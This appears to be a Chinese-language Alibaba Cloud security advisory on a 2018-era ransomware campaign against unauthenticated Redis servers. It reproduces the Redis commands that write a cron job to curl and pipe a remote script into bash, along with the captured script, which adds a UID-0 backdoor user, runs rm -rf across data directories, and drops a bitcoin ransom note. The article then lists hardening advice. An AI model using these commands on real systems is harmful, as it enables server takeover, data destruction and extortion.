预警| 删库跑路加勒索,Redis勒索事件爆发

本文涉及的产品
云安全中心 免费版,不限时长
简介:

#安全事件

9月10日下午15:06开始,阿里云官方首次发现一起规模化利用Redis 未授权访问漏洞进行加密货币勒索的事件,阿里云上防御系统在攻击开始的10s内就已开启全网拦截。

与以往的只是通过算力窃取进行挖矿的攻击事件不同,此次攻击者在攻击之初就是以勒索钱财作为第一目的的,攻击者无惧暴露,非常猖狂。直接删除数据、加密数据也意味着攻击者与防御者之间已经没有缓冲地带,基本的攻防对抗将是赤裸裸的一场刺刀战。

该高危漏洞早在半年前阿里云就发布过预警,但是还是有不少用户并未进行修改加以重视。阿里云安全专家提醒用户参考文末方法,尽快完成漏洞修复或部署防御,一旦被攻击成功,整个服务器的程序和数据都将会被删除!且很难恢复。

Redis应用简介

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010315日起,Redis的开发工作由VMware主持。20135月开始,Redis的开发由Pivotal赞助。

Redis漏洞原理

作为一个内存数据库,redis 可通过周期性配置或者手动执行save命令,将缓存中的值写入到磁盘文件中。如果redis进程权限足够,攻击者就可以利用它的未授权漏洞来写入计划任务、ssh登录密钥、webshell 等等,以达到执行任意指令的目的。

自2017年12月以来,由于该漏洞已经被大规模利用,如DDG等多个僵尸网络都以该漏洞为目标进行迅速的繁殖和占领算力,并且各大僵尸网络间都会互相删除彼此来保证自己对机器算力的掌握。

攻击过程说明

● 首先攻击者通过事先的扫描踩点,发现了这些公网可访问并且未设置密码的机器

● 攻击者尝试连接这些机器,并且运行如下代码:

config set dir /var/spool/cron/

config set dbfilename root

config 1 */10 * * * * curl -shttp://103.224.80.52/butterfly.sh | bash

save

通过上述指令,将下载脚本:http://103.224.80.52/butterfly.sh并将该脚本写入到计划任务中,由计划任务启动执行。

由于在分析时,攻击者感知到我们的反向探查,已经将该脚本下线。但我们的蜜罐成功抓取到了该脚本如下:

#!/bin/bash

#*butterfly*

exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin

userdel -r redis

useradd -o -u 0 -g 0 redis &>/dev/null

echo "abcd-1234-!" |passwd--stdin redis &>/dev/null

rm -rf /root/*

rm -rf /home/*

rm -rf /opt/*

rm -rf /data/*

rm -rf /data*

mkdir -p /data

echo -e "\nWarning! \nYour File andDataBase is downloaded and backed up on our secured servers. To recover yourlost data : Send 0.6 BTC to our BitCoin Address and Contact
 us by eMail withyour server IP Address and a Proof of Payment. Any eMail without your server IPAddress and a Proof of Payment together will be ignored. We will drop 
thebackup after 24 hours. You are welcome! \nMail:dbsecuritys@protonmail.com\nBitCoin:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny\n" > /root/Warning.txt

chmod +x /root/Warning.txt

cp /root/Warning.txt /Warning.txt

cp /root/Warning.txt /data/Warning.txt

echo -e "\nWarning! \nYour File andDataBase is downloaded and backed up on our secured servers. To recover yourlost data : Send 0.6 BTC to our BitCoin Address and Contact
 us by eMail withyour server IP Address and a Proof of Payment. Any eMail without your server IPAddress and a Proof of Payment together will be ignored. We will drop 
thebackup after 24 hours. You are

● 攻击者要求给地址:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny 发送0.6个比特币,否则将在24小时之内删除数据备份。

● 但是从这个脚本中可以明显看出,攻击者根本没有进行备份,即使被攻击者给了钱,也是要不回数据的。

截止到9月10日晚8点为止,该地址共收到了0.6个比特币的转账,并且都是在今日进行发送的,已经有受害者开始转账了。

302b5bfba9edb0f0cf5e4518e2ef996806bafd83

安全建议

● 通过安全组限制对公网对Redis等服务的访问

● 通过修改redis.conf配置文件,增加密码认证,并隐藏重要命令

● 以低权限运行redis服务等

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore     ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库 ECS 实例和一台目标数据库 RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
9月前
|
消息中间件 NoSQL Java
Redis监听Key的过期事件
在redis.conf配置文件中有个配置项:notify-keyspace-events " " ,默认是没有key的过期监听的,我们需要将其开启
931 0
|
2月前
|
NoSQL Java Redis
Spring boot 实现监听 Redis key 失效事件
【2月更文挑战第2天】 Spring boot 实现监听 Redis key 失效事件
69 0
|
5月前
|
缓存 NoSQL 大数据
4款.NET开源的Redis客户端驱动库
4款.NET开源的Redis客户端驱动库
|
8月前
|
NoSQL Go Redis
Asynq: 基于Redis实现的Go生态分布式任务队列和异步处理库
Asynq: 基于Redis实现的Go生态分布式任务队列和异步处理库
283 0
|
9月前
|
缓存 NoSQL Redis
缓存杂谈(二) Redis 的文件事件处理器
Redis 的文件事件处理器
88 0
|
存储 缓存 NoSQL
由Redis的hGetAll函数所引发的一次服务宕机事件
问题描述:固定并发数压测10分钟,压测开始后半小时,Redis连接数激增,连接耗尽,服务重启;
由Redis的hGetAll函数所引发的一次服务宕机事件
|
JSON NoSQL Redis
Python编程:pickleDB库Redis的简易替代
pickleDB 是一个轻量简单的 key-value 存储器,操作和redis 很类似 可以作为一个不错的工具
125 0
|
JSON NoSQL Redis
Python编程:pickleDB库Redis的简易替代
pickleDB 是一个轻量简单的 key-value 存储器,操作和redis 很类似 可以作为一个不错的工具
64 0
|
缓存 NoSQL Redis
Python:缓存库mo-cache支持内存、文件、Redis
Python:缓存库mo-cache支持内存、文件、Redis
221 0
|
存储 前端开发 NoSQL
Rb(redis blaster),一个为 redis 实现 non-replicated 分片的 python 库
Rb(redis blaster),一个为 redis 实现 non-replicated 分片的 python 库
135 0

热门文章

最新文章